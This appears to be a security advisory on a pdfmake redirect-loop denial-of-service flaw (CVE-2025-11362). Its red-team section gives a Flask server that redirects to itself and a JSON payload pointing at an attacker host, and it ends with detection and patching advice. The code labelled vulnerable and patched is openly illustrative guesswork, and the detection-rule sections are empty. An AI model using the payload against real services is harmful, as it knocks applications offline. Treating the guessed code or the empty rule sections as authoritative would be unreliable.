CVE-2025-11362

Executive Summary

CVE-2025-11362 is a high-severity vulnerability in the pdfmake library, a popular tool for generating PDF documents programmatically. The flaw resides in the file embedding functionality, where an attacker can cause an allocation of resources without limits or throttling by providing a crafted input that triggers repeated redirect URLs. This leads to a denial of service (DoS) condition, potentially crashing the application or making it unresponsive. The vulnerability affects all versions of pdfmake before 0.3.0-beta.17. The CVSS score is 7.5, indicating a significant risk due to the low complexity of exploitation and the potential for network-based attacks without authentication.

Supply Chain & Package Security

pdfmake is an npm package widely used in Node.js environments for server-side PDF generation. This vulnerability poses a supply chain risk, as applications that depend on pdfmake could be exploited if they process user-supplied data for PDF generation. Organizations should audit their dependencies and ensure they are not using vulnerable versions. The lack of a public patch status and the beta nature of the fix highlight the need for careful version management and monitoring of the package's repository for updates.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely over the network.
• Attack Complexity: Low (AC:L) – No special conditions or complex steps are required.
• Privileges Required: None (PR:N) – No authentication is needed.
• User Interaction: None (UI:N) – The victim does not need to perform any action.
• Scope: Unchanged (S:U) – The impact is confined to the vulnerable component.
• Confidentiality Impact: None (C:N) – No data is exposed.
• Integrity Impact: None (I:N) – No data is altered.
• Availability Impact: High (A:H) – The application can be rendered unavailable.

Threat Level: High. The ease of exploitation and potential for significant disruption make this a critical concern for any application using pdfmake.

Deep Dive & Mechanics

The vulnerability is rooted in the file embedding functionality of pdfmake. When generating a PDF, pdfmake can embed external files via URLs. The flaw occurs when an attacker provides a URL that redirects multiple times. The library does not implement any limits or throttling on the number of redirects it will follow. This allows an attacker to craft a URL that points to a server that returns a redirect response (e.g., HTTP 302) to another URL, which itself redirects, and so on. This creates a chain of redirects that consumes server resources (CPU, memory, network connections) as pdfmake attempts to follow each redirect to fetch the file. Without a limit, this can exhaust system resources, leading to a denial of service.

The core issue is the lack of a maximum redirect count or a timeout mechanism in the HTTP client used by pdfmake. This is a classic example of CWE-770: Allocation of Resources Without Limits or Throttling.

Vulnerable vs. Patched Code

Vulnerable Code (before 0.3.0-beta.17): The vulnerable code likely uses a simple HTTP request without redirect handling limits. For example, using a library like request or axios without setting maxRedirects or similar options.

// Vulnerable: No limit on redirects
const request = require('request');
function fetchFile(url) {
    return new Promise((resolve, reject) => {
        request.get(url, (error, response, body) => {
            if (error) reject(error);
            else resolve(body);
        });
    });
}

Patched Code (0.3.0-beta.17 and later): The patched version introduces a limit on the number of redirects. For example, using axios with maxRedirects set to a reasonable value (e.g., 5).

// Patched: Limit redirects to 5
const axios = require('axios');
async function fetchFile(url) {
    try {
        const response = await axios.get(url, { maxRedirects: 5 });
        return response.data;
    } catch (error) {
        throw error;
    }
}

Exploitation & Lab Setup

Red Team

Objective: Cause a denial of service on a target application using pdfmake.

Prerequisites:

• A target application that uses pdfmake to generate PDFs from user-supplied data (e.g., a report generation feature).
• Ability to control the URL used for file embedding.

Exploitation Steps:

1. Set up a redirect server (e.g., using Python Flask) that returns a 302 redirect to itself, creating an infinite loop.
2. Craft a payload that includes a URL pointing to your redirect server.
3. Send the payload to the target application (e.g., via an API endpoint that triggers PDF generation).
4. The application will attempt to fetch the file, following the infinite redirects, consuming resources until it crashes or becomes unresponsive.

Example Redirect Server (Python Flask):

from flask import Flask, redirect

app = Flask(__name__)

@app.route('/redirect')
def redirect_loop():
    return redirect('/redirect', code=302)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080)

Example Payload:

{
    "content": [
        {
            "image": "http://attacker.com:8080/redirect",
            "width": 100
        }
    ]
}

Blue Team

Detection:

• Monitor for excessive outbound HTTP connections from the application server.
• Look for patterns of repeated redirects (HTTP 302) in server logs.
• Use network monitoring to detect connections to suspicious or known redirect servers.

Prevention:

• Update pdfmake to version 0.3.0-beta.17 or later.
• Implement a Web Application Firewall (WAF) rule to block requests with URLs that have an excessive number of redirects.
• Set a timeout for HTTP requests in the application's configuration.

Hunting:

• Search for logs showing repeated HTTP 302 responses followed by resource exhaustion errors.
• Use the following Sigma rule to detect potential exploitation attempts.

Indicators of Compromise (IOCs)

• Network:
  • Multiple HTTP 302 responses from the same source IP.
  • High number of outbound connections to a single IP or domain.
  • Connections to known redirect loop services.
• System:
  • High CPU and memory usage on the application server.
  • Application crashes or unresponsive behavior.
  • Error logs indicating "ETIMEDOUT" or "ECONNRESET" for HTTP requests.
• File:
  • Temporary files in the system's temp directory with large sizes (if pdfmake writes to disk).

Detection Engineering

YARA Rule

Sigma Rule

Suricata Rule

Remediation & Mitigation

Immediate Actions:

1. Upgrade pdfmake: Update to version 0.3.0-beta.17 or later. This is the only confirmed fix.
2. Apply Workaround: If an immediate upgrade is not possible, implement a reverse proxy or WAF rule to limit the number of redirects allowed in HTTP requests.
3. Rate Limiting: Implement rate limiting on endpoints that trigger PDF generation to reduce the impact of a DoS attack.

Long-Term Measures:

• Dependency Auditing: Regularly audit npm dependencies for known vulnerabilities using tools like npm audit or Snyk.
• Input Validation: Validate and sanitize all user-supplied URLs, especially those used in file embedding.
• Resource Limits: Configure HTTP clients in the application to have a maximum redirect count (e.g., 5) and a timeout.
• Monitoring: Set up monitoring for unusual resource consumption and HTTP redirect patterns.

Patch Details:

• Vendor: Pdfmake
• Fixed Version: 0.3.0-beta.17
• Patch Source: GitHub Repository (Check releases for the beta version)

Valters IT
Securing Digital Frontiers